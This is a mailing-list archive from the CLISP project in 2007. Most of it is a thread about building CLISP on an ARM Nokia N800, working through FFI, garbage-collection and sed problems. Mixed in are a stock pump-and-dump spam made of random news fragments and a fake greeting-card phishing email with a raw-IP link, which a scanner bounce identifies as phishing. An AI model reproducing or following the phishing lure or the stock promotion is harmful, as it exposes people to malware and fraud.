[vacall-arm.lo] Error 1 > make[1]: Leaving directory `/root/clisp-2.41/src/callback/vacall_r' > make: *** [all-subdirs] Error 2 > Configure findings: > FFI: no (user requested: default) > readline: yes (user requested: default) > libsigsegv: yes > > This appears to be complaining about a pretty simple float-point load > instruction; later ARMs have different FPUs (or none, in the more common > case) but as far as I knew they all supported at least the instruction > set of the original ARMv2 FPU. Does anyone know of a working vacall-arm? I know nothing about assembly, FPU &c, but I will happily accept a working patch :-) > However, configure completes regardless, and it's happy from that point > to compile CLISP itself. Unfortunately, although it can compile the main > program no problem, and produces a pretty decent working version, it > can't compile any of the modules, all of which fail with syntax errors > in clisp.h. I'm not sure why this breaks; I gather clisp.h is > autogenerated, but presumably it's generated much the same regardless of > the fine details of the platform? In any case, I don't think I'm > expecting this to work too well until vacall works. For now, if I remove > the modules from the base modules list in the Makefile, then make clisp > etc. all work nicely. actually, modules do not require FFI, so I would like to see the errors you get from clisp.h (in fact, no base module uses FFI specifically because CLISP supports more platforms than FFI does). > ARM 1136J-S, 128M RAM, gcc 3.4.4, 339 seconds (306 user, 12 sys), all > running from SD card instead of internal flash. thanks. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFGlNkMPp1Qsf2qnMcRAqm6AKCgnpsnyxj8XykTb0GuYemTLf4mfQCfbhRp Q/7zKc70S6mBpbeLwps4FXk= =oYs2 -----END PGP SIGNATURE----- From jamie@jamiecraig.com Wed Jul 11 07:23:29 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1I8d6F-0000gj-0z for clisp-list@lists.sourceforge.net; Wed, 11 Jul 2007 07:23:29 -0700 Received: from madhacker.demon.co.uk ([80.177.120.104] helo=helium.darkdevices.com ident=Debian-exim) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1I8d6D-0005jM-RE for clisp-list@lists.sourceforge.net; Wed, 11 Jul 2007 07:23:26 -0700 Received: from jamie by helium.darkdevices.com with local (Exim 4.63) (envelope-from ) id 1I8d69-0002eP-FP for clisp-list@lists.sourceforge.net; Wed, 11 Jul 2007 15:23:21 +0100 Date: Wed, 11 Jul 2007 15:23:21 +0100 To: clisp-list@lists.sourceforge.net Message-ID: <20070711142321.GC24537@jamiecraig.com> References: <20070711083109.GB24537@jamiecraig.com> <4694D90C.2000103@gnu.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4694D90C.2000103@gnu.org> User-Agent: Mutt/1.5.13 (2006-08-11) From: Jamie Craig X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] Compiling CLISP on ARM Linux - ffi problems X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 11 Jul 2007 14:23:30 -0000 On Wed, Jul 11, 2007 at 09:20:12AM -0400, Sam Steingold wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Jamie Craig wrote: > > > > The following might shed some light on the problems: > > When I run configure (CFLAGS set to -DSAFETY=3 -mcpu=arm1136j-s, no > > "./configure --with-debug" is the more standard way to get -DSAFETY=3 > (if you really need it). > what happens when you drop it? I get a binary that crashes (segfault) when it tries to compile one of the first few LISP files. (defs? I'll check and get back to you on that.) With -DSAFETY=3 it works nicely, so I wasn't inclined to blame that on anything other than a slightly ropey platform generally. The unix/PLATFORMS file suggests checking out the setjmp/longjmp stuff, but I didn't see anything blindingly obviously wrong there. It's pretty hard to read through, that said. I could easily be missing something - is there anything specific I should be looking for in lispbibl.d? > > Configure findings: > > FFI: no (user requested: default) > > readline: yes (user requested: default) > > libsigsegv: yes > > > > This appears to be complaining about a pretty simple float-point load > > instruction; later ARMs have different FPUs (or none, in the more common > > case) but as far as I knew they all supported at least the instruction > > set of the original ARMv2 FPU. Does anyone know of a working vacall-arm? > > I know nothing about assembly, FPU &c, but I will happily accept a > working patch :-) I do know ARM integer assembly, but strangely have never used the FPU, so I'm probably no real help there. Might be worth my while just dropping float from vacall and seeing if it works more generally - even a slightly broken FFI beats none. > > expecting this to work too well until vacall works. For now, if I remove > > the modules from the base modules list in the Makefile, then make clisp > > etc. all work nicely. > > actually, modules do not require FFI, so I would like to see the errors > you get from clisp.h (in fact, no base module uses FFI specifically > because CLISP supports more platforms than FFI does). OK, excellent. That should be something fixable, then. The output from make when it tries compiling various bits of the modules (much the same messages for all the modules) is: make[1]: Entering directory `/root/clisp-2.41/src/syscalls' gcc -DSAFETY=3 -mcpu=arm1136j-s -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNICODE -I. -I.. -c calls.m.c -o calls.o In file included from calls.c:20: ../clisp.h:255: error: syntax error before "obj" ../clisp.h: In function `check_uint_defaulted': ../clisp.h:255: warning: implicit declaration of function `missingp' ../clisp.h:255: error: `obj' undeclared (first use in this function) ../clisp.h:255: error: (Each undeclared identifier is reported only once ../clisp.h:255: error: for each function it appears in.) ../clisp.h:255: error: `defolt' undeclared (first use in this function) ../clisp.h:255: warning: implicit declaration of function `I_to_uint' ../clisp.h:255: warning: implicit declaration of function `check_uint' calls.c: At top level: calls.c:113: error: syntax error before "gcv_object_t" calls.c:113: warning: no semicolon at end of struct or union calls.c:119: warning: type defaults to `int' in declaration of `_object_K2_char_term' calls.c:119: warning: data definition has no type or storage class calls.c:122: error: syntax error before "_object_K2_c_bind" calls.c:122: warning: type defaults to `int' in declaration of `_object_K2_c_bind' clisp.h line 255 looks pretty inoffensive: static inline unsigned int check_uint_defaulted (object obj, unsigned int defolt) { return missingp(obj) ? defolt : I_to_uint(check_uint(obj)); } and it seems to be the word "object" that it objects to (although there's an object* type used 4 lines earlier in #define subr_rest_function_args (uintC argcount, object* rest_args_pointer) that doesn't bother the compiler at all) Any suggestions will be gratefully received. -- Jamie Craig From sds@gnu.org Wed Jul 11 07:43:07 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1I8dP7-0003AZ-Ls for clisp-list@lists.sourceforge.net; Wed, 11 Jul 2007 07:43:05 -0700 Received: from janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1I8dP6-0004OQ-7F for clisp-list@lists.sourceforge.net; Wed, 11 Jul 2007 07:42:57 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id AC7B02D8; Wed, 11 Jul 2007 10:43:07 -0400 Message-ID: <4694EC67.4050504@gnu.org> Date: Wed, 11 Jul 2007 10:42:47 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 To: Jamie Craig References: <20070711083109.GB24537@jamiecraig.com> <4694D90C.2000103@gnu.org> <20070711142321.GC24537@jamiecraig.com> In-Reply-To: <20070711142321.GC24537@jamiecraig.com> X-Enigmail-Version: 0.95.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Compiling CLISP on ARM Linux - ffi problems X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 11 Jul 2007 14:43:08 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Jamie Craig wrote: > On Wed, Jul 11, 2007 at 09:20:12AM -0400, Sam Steingold wrote: >> Jamie Craig wrote: >>> The following might shed some light on the problems: >>> When I run configure (CFLAGS set to -DSAFETY=3 -mcpu=arm1136j-s, no >> what happens when you drop it? > > I get a binary that crashes (segfault) when it tries to compile one of > the first few LISP files. (defs? I'll check and get back to you on > that.) yes, defs - this is the first GC. please try replacing SAFETY=3 with NO_GENERATIONAL_GC (see the first 50 lines of src/lispbibl.d). > make[1]: Entering directory `/root/clisp-2.41/src/syscalls' > gcc -DSAFETY=3 -mcpu=arm1136j-s -W -Wswitch -Wcomment -Wpointer-arith > -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 > -DUNICODE -I. -I.. -c calls.m.c -o calls.o > In file included from calls.c:20: > ../clisp.h:255: error: syntax error before "obj" > clisp.h line 255 looks pretty inoffensive: > > static inline unsigned int check_uint_defaulted (object obj, unsigned > int defolt) { return missingp(obj) ? defolt : > I_to_uint(check_uint(obj)); } > > and it seems to be the word "object" that it objects to indeed. so, why isn't object defined? you should have something like typedef void * gcv_object_t; typedef gcv_object_t object; see src/genclisph.d and build/gen.lispbibl.c > (although there's an object* type used 4 lines earlier in > > #define subr_rest_function_args (uintC argcount, object* > rest_args_pointer) > > that doesn't bother the compiler at all) this is a CPP macro, the compiles does not see "object" type at this point yet. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFGlOxnPp1Qsf2qnMcRAk++AJ4wFo1ld0PKjObeZoM9Nffu05LOywCcCW+6 ejHKoxPRQD2tNyCACaJf9mk= =cPe7 -----END PGP SIGNATURE----- From sik@bobspencer.com.au Thu Jul 12 07:04:56 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1I8zHq-0004Ms-8s for clisp-list@lists.sourceforge.net; Thu, 12 Jul 2007 07:04:55 -0700 Received: from mo-71-1-127-248.dhcp.embarqhsd.net ([71.1.127.248]) by mail.sourceforge.net with smtp (Exim 4.44) id 1I8zHn-0001aa-GO for clisp-list@lists.sourceforge.net; Thu, 12 Jul 2007 07:04:53 -0700 Received: from [133.85.214.138] (helo=wzzb) by mo-71-1-127-248.dhcp.embarqhsd.net with smtp (Exim 4.62 (FreeBSD)) id 1I9!%ò-0005RK-Kx; Thu, 12 Jul 2007 09:08:41 -0500 Message-ID: <469634F5.6010108@bobspencer.com.au> Date: Thu, 12 Jul 2007 09:04:37 -0500 From: Burton Fanny User-Agent: Thunderbird 1.5.0.12 (Windows/20070509) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -2.8 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts Subject: [clisp-list] dreary X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 12 Jul 2007 14:04:56 -0000 Vision Airships Global Expansion! BANGKOK, THAILAND, Jul 09, 2007 (MARKET WIRE via COMTEX) - Vision Airships Inc. (PINKSHEETS: VPSN) - The company wishes to announce that it has finalized arrangements for funding for its global expansion. Check out the news and get on VPSN first thing Thursday! But that pattern was only seen in participants who reported eating fish at least three times weekly. Don't Miss Reid to GOP: Join us on Iraq Iraqi civilians join raid on al Qaeda base Meanwhile, three Republican senators have signed on to the Reed-Levin amendment. I used to pet one at the Traverse City zoo when I lived in Michigan. I will know by Tuesday. Ever heard of badger-baiting? These are the clowns who tell us how to live our lives. " But House Minority Leader John Boehner, R-Ohio, blasted the move as "egregious and opportunistic partisanship at the expense of our national security. Sandra Kilpatrick, Ph. NBC Today Show: Crowded car? You never seem to look at the role you play in enabling terrorism. It had been expected that Ms. The white house is not preventing their aides from testifying, just that they will not testify under oath and that no transcript could be made. But when I have a spectacular year the praise will come. com Beat ya to it. Well so much for that. In December, that panel, chaired by former Republican Secretary of State Jim Baker and former Democratic Rep. Which is to be a more well-informed republic and vote these god-damn incumbants out of office. The creation of blues music marked a new era for black music. -set benchmarks contained in a new report, while receiving unsatisfactory ratings on eight others and achieving mixed progress on two, U. But McCain said while he understood the concerns about repeated deployments, the amendment would put a "fence" around every unit in the military and amounted to "bad congressional micromanagement. I think they are reasonable conditions. Olazabal has little time to recover if he is to play in the British Open next week. So, the majority just sat back and let it all happen. troops in Iraq and shifting them to more secure positions. FAQ Resources Stats Chat News Extras Search Today's Posts Mark Forums Read Economics video game legislation. What's wrong with that? That's not what I ask! This rebellion, which Turner believed was directed by God, is one of the most famous slave insurrections in U. My family lost everything. Senate Majority Leader Harry Reid challenged Republicans critical of Bush's policy to support Webb's proposal. Ever heard of badger-baiting? Leibovitz told the queen, "I think it will look better without the crown because the garter robe is so . Administration officials were calling the interim report a snapshot of the Iraqi situation. Forget the Sunscreen, Fish Oil Prevents Sunburn! It is the fanatics who march. He added: "There is a question mark over next week obviously. Have a fantastic holiday! video game legislation. " The promotional video showed the queen balking at the photographer's request that she remove her crown. Blues MusicFrom blues music came great artists such as Muddy Waters, John Lee Hooker, Buddy Guy, Bessie Smith, and others. Alberta HunterAs a runaway at age twelve, Alberta Hunter struggled to survive while aspiring to become a singer. This material may not be published, broadcast, rewritten, or redistributed. Miers would appear and would decline to answer certain questions. Click to begin watching: Ban for young teen models? Lee Hamilton, recommended adopting a more limited role for U. And, who can forget Rwanda, which collapsed into butchery. How does the saying by the neocons go? You never seem to look at the role you play in enabling terrorism. Miers would appear and would decline to answer certain questions. Hey, I saw something like that when I was a kid. , A part of The New York Times Company. Lee Hamilton, recommended adopting a more limited role for U. So when I ran across this, I thought it would help answer that question. commander in Iraq, Gen. Blaming extremists does have merit. Which of these dogs are real talking dogs and which ones are not? From jamie@jamiecraig.com Fri Jul 13 04:02:26 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1I9Iud-0007sN-H3 for clisp-list@lists.sourceforge.net; Fri, 13 Jul 2007 04:02:17 -0700 Received: from madhacker.demon.co.uk ([80.177.120.104] helo=helium.darkdevices.com ident=Debian-exim) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1I9Iuc-0003wx-85 for clisp-list@lists.sourceforge.net; Fri, 13 Jul 2007 04:02:15 -0700 Received: from jamie by helium.darkdevices.com with local (Exim 4.63) (envelope-from ) id 1I9IuV-00059D-Kz for clisp-list@lists.sourceforge.net; Fri, 13 Jul 2007 12:02:07 +0100 Date: Fri, 13 Jul 2007 12:02:07 +0100 To: clisp-list@lists.sourceforge.net Message-ID: <20070713110207.GD24537@jamiecraig.com> References: <20070711083109.GB24537@jamiecraig.com> <4694D90C.2000103@gnu.org> <20070711142321.GC24537@jamiecraig.com> <4694EC67.4050504@gnu.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4694EC67.4050504@gnu.org> User-Agent: Mutt/1.5.13 (2006-08-11) From: Jamie Craig X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] Compiling CLISP on ARM Linux - ffi problems X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Jul 2007 11:02:26 -0000 Hi, On Wed, Jul 11, 2007 at 10:42:47AM -0400, Sam Steingold wrote: > Jamie Craig wrote: > > On Wed, Jul 11, 2007 at 09:20:12AM -0400, Sam Steingold wrote: > >> Jamie Craig wrote: > >>> The following might shed some light on the problems: > >>> When I run configure (CFLAGS set to -DSAFETY=3 -mcpu=arm1136j-s, no > >> what happens when you drop it? > > > > I get a binary that crashes (segfault) when it tries to compile one of > > the first few LISP files. (defs? I'll check and get back to you on > > that.) > > yes, defs - this is the first GC. > please try replacing SAFETY=3 with NO_GENERATIONAL_GC (see the first 50 > lines of src/lispbibl.d). Thanks, that worked nicely. What needs done to make the generational GC work on a new platform? (this is a horribly RAM-starved platform, bearing in mind that it's running full X11 etc. in 128M, so I can see the GC having a fair bit of work to do. :) ) > > static inline unsigned int check_uint_defaulted (object obj, unsigned > > int defolt) { return missingp(obj) ? defolt : > > I_to_uint(check_uint(obj)); } > > > > and it seems to be the word "object" that it objects to > > indeed. > so, why isn't object defined? > you should have something like > > typedef void * gcv_object_t; > typedef gcv_object_t object; > > see src/genclisph.d and build/gen.lispbibl.c Thanks for this one too. Turned out that gen.lispbibl.c was generated empty, which was caused by busybox's sed not liking the regexps in the Makefile much. Oddly it ran OK, but deleted the contents of every line from the output except the header #line tag. I just installed regular GNU sed and it straightened that out with no further complications. In fact, despite vacall-arm being broken, it managed to compile at least enough of the FFI bits and pieces for readline to work (the module seems to depend on the existence of it - certainly it didn't compile when set up with configure --without-dynamic-ffi. The defpackage in readline.lisp says it uses (:use "CL" "EXT" "FFI")) So, for future reference for anyone else trying to get it going on small ARM linux platforms: CFLAGS="-DNO_GENERATIONAL_GC" and install GNU sed is all it takes to get it to work on the Nokia N800. There are no particular configure options needed to make it work. Oh, and without -DSAFETY we get: Test passed. real 5m28.941s user 4m58.844s sys 0m13.234s Not too shabby - I guess debugging adds about 10 seconds to that time normally. Thanks again for your help, -- Jamie Craig From sds@gnu.org Fri Jul 13 06:07:08 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1I9KrT-0004nf-Tg for clisp-list@lists.sourceforge.net; Fri, 13 Jul 2007 06:07:08 -0700 Received: from janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1I9KrS-0004LJ-W2 for clisp-list@lists.sourceforge.net; Fri, 13 Jul 2007 06:07:07 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id A90202B0; Fri, 13 Jul 2007 09:07:14 -0400 Message-ID: <469778ED.9060802@gnu.org> Date: Fri, 13 Jul 2007 09:06:53 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 To: Jamie Craig References: <20070711083109.GB24537@jamiecraig.com> <4694D90C.2000103@gnu.org> <20070711142321.GC24537@jamiecraig.com> <4694EC67.4050504@gnu.org> <20070713110207.GD24537@jamiecraig.com> In-Reply-To: <20070713110207.GD24537@jamiecraig.com> X-Enigmail-Version: 0.95.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Compiling CLISP on ARM Linux - ffi problems X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Jul 2007 13:07:08 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Jamie Craig wrote: >> please try replacing SAFETY=3 with NO_GENERATIONAL_GC (see the first 50 >> lines of src/lispbibl.d). > > Thanks, that worked nicely. What needs done to make the generational GC > work on a new platform? (this is a horribly RAM-starved platform, > bearing in mind that it's running full X11 etc. in 128M, so I can see > the GC having a fair bit of work to do. :) ) Only Bruno can help you here... All I know is what's written at the end of clisp/unix/PLATFORMS in the "Hints for porting to new platforms" section. > In fact, despite vacall-arm being broken, it managed to compile at least > enough of the FFI bits and pieces for readline to work (the module seems > to depend on the existence of it - certainly it didn't compile when > set up with configure --without-dynamic-ffi. The defpackage in > readline.lisp says it uses (:use "CL" "EXT" "FFI")) apparently only floats do not work, and readline does not need them. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFGl3jtPp1Qsf2qnMcRAgFQAJoCAqFPmQK9i1/dMn21r5SbNll+iACeOyP0 lCnrvlbcsn1KZSiiNAlQqZQ= =wImN -----END PGP SIGNATURE----- From punef@tea.state.tx.us Fri Jul 13 11:22:31 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1I9PmX-00017J-BN for clisp-list@lists.sourceforge.net; Fri, 13 Jul 2007 11:22:22 -0700 Received: from [122.164.187.79] (helo=ABTS-TN-dynamic-079.187.164.122.airtelbroadband.in) by mail.sourceforge.net with smtp (Exim 4.44) id 1I9PcO-00006w-47 for clisp-list@lists.sourceforge.net; Fri, 13 Jul 2007 11:11:54 -0700 Received: from faqoq.ugpvr ([152.129.148.150]) by ABTS-TN-dynamic-079.187.164.122.airtelbroadband.in with Microsoft SMTPSVC(6.0.3790.1830); Fri, 13 Jul 2007 23:41:43 +0530 Message-ID: <001601c7c579$44405550$96948198@faqoq.ugpvr> From: "greetingcards.com" To: Date: Fri, 13 Jul 2007 23:41:43 +0530 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="Windows-1252"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4927.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4927.1200 X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL Subject: [clisp-list] You've received a greeting card from a School-mate! X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Jul 2007 18:22:32 -0000 Hi. School-mate has sent you a greeting card. See your card as often as you wish during the next 15 days. SEEING YOUR CARD If your email software creates links to Web pages, click on your card's direct www address below while you are connected to the Internet: http://190.142.10.74/?03a3b01bdad81d9b848ca9a885b5e Or copy and paste it into your browser's "Location" box (where Internet addresses go). We hope you enjoy your awesome card. Wishing you the best, Webmaster, greetingcards.com From MAILER-DAEMON Fri Jul 13 11:23:53 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1I9Pnx-0001RC-Sg for clisp-list@lists.sourceforge.net; Fri, 13 Jul 2007 11:23:51 -0700 Received: from lb01nat30.inode.at ([62.99.145.30] helo=mx.inode.at) by mail.sourceforge.net with esmtp (Exim 4.44) id 1I9Pnx-0003pZ-59 for clisp-list@lists.sourceforge.net; Fri, 13 Jul 2007 11:23:49 -0700 Received: from localhost ([127.0.0.1]:40571 helo=smartmx-05.inode.at) by smartmx-05.inode.at with esmtp (Exim 4.50) id 1I9Pnq-0006dz-NL; Fri, 13 Jul 2007 20:23:42 +0200 Received: from Debian-exim by smartmx-05.inode.at with local (Exim 4.50) id 1I9Pnq-0006dv-M8; Fri, 13 Jul 2007 20:23:42 +0200 From: Inode Mailscan To: punef@tea.state.tx.us, clisp-list@lists.sourceforge.net X-Inode-Notify: virusfound Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Message-Id: Date: Fri, 13 Jul 2007 20:23:42 +0200 X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] Virus "Email.Phishing.RB-1216" gefunden X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Jul 2007 18:23:53 -0000 Sehr geehrte Damen und Herren, in dem E-Mail mit dem Betreff '[clisp-list] You've received a greeting card from a School-mate!' (gesendet am Fri, 13 Jul 2007 23:41:43 +0530) mit der angegebenen Absenderadresse '"greetingcards.com" ' wurde der Virus 'Email.Phishing.RB-1216' gefunden. Aus diesem Grund wurde die E-Mail nicht zugestellt! Ihr Inode-Team -------------- Dear Ladies and Gentlemen, the mail with the Subject '[clisp-list] You've received a greeting card from a School-mate!' (sent on Fri, 13 Jul 2007 23:41:43 +0530) with the sender address specified as '"greetingcards.com" ' contained a virus known as 'Email.Phishing.RB-1216'. Due to this reason the Mail has not been delivered! Your Inode-Team --------------- Headers of original mail follow: Received: from localhost ([127.0.0.1]:40569 helo=smartmx-05.inode.at) by smartmx-05.inode.at with esmtp (Exim 4.50) id 1I9Pnq-0006du-L9 for ru@x-ray.at; Fri, 13 Jul 2007 20:23:42 +0200 Received: from [66.35.250.225] (port=9173 helo=lists-outbound.sourceforge.net) by smartmx-05.inode.at with esmtp (Exim 4.50) id 1I9Pnq-0006dN-2P for rurban@x-ray.at; Fri, 13 Jul 2007 20:23:42 +0200 Received: from sc8-sf-list1-new.sourceforge.net (sc8-sf-list1-new-b.sourceforge.net [10.3.1.93]) by sc8-sf-spam2.sourceforge.net (Postfix) with ESMTP id 8A54BFF0C; Fri, 13 Jul 2007 11:23:40 -0700 (PDT) Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1I9PmX-00017J-BN for clisp-list@lists.sourceforge.net; Fri, 13 Jul 2007 11:22:22 -0700 Received: from [122.164.187.79] (helo=ABTS-TN-dynamic-079.187.164.122.airtelbroadband.in) by mail.sourceforge.net with smtp (Exim 4.44) id 1I9PcO-00006w-47 for clisp-list@lists.sourceforge.net; Fri, 13 Jul 2007 11:11:54 -0700 Received: from faqoq.ugpvr ([152.129.148.150]) by ABTS-TN-dynamic-079.187.164.122.airtelbroadband.in with Microsoft SMTPSVC(6.0.3790.1830); Fri, 13 Jul 2007 23:41:43 +0530 Message-ID: <001601c7c579$44405550$96948198@faqoq.ugpvr> From: "greetingcards.com" To: Date: Fri, 13 Jul 2007 23:41:43 +0530 MIME-Version: 1.0 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4927.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4927.1200 X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL Subject: [clisp-list] You've received a greeting card from a School-mate! X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: clisp-list-bounces@lists.sourceforge.net Errors-To: clisp-list-bounces@lists.sourceforge.net From bruno@clisp.org Wed Jul 18 12:18:13 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IBF2K-0004t2-Ds for clisp-list@lists.sourceforge.net; Wed, 18 Jul 2007 12:18:12 -0700 Received: from mo-p07-ob.rzone.de ([81.169.146.190]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IBF2H-0006ah-LD for clisp-list@lists.sourceforge.net; Wed, 18 Jul 2007 12:18:12 -0700 Received: from linuix.haible.de ([81.210.213.117]) by post.webmailer.de (mrclete mo35) (RZmta 9.1) with ESMTP id a00cf2j6IJ4NYv ; Wed, 18 Jul 2007 21:18:05 +0200 (MEST) From: Bruno Haible To: jorge alberto garcia gonzalez Date: Wed, 18 Jul 2007 21:18:02 +0200 User-Agent: KMail/1.5.4 References: <0JLE00IC71LSCPL0@mta.telcel.com> In-Reply-To: <0JLE00IC71LSCPL0@mta.telcel.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit Content-Disposition: inline Message-Id: <200707182118.02636.bruno@clisp.org> X-RZG-AUTH: gMysVb8JT2gB+rFDu0PuvnPihAP8oFdePhw95HsN8T+WAEY7QaDiGWSd6A== X-RZG-CLASS-ID: mo07 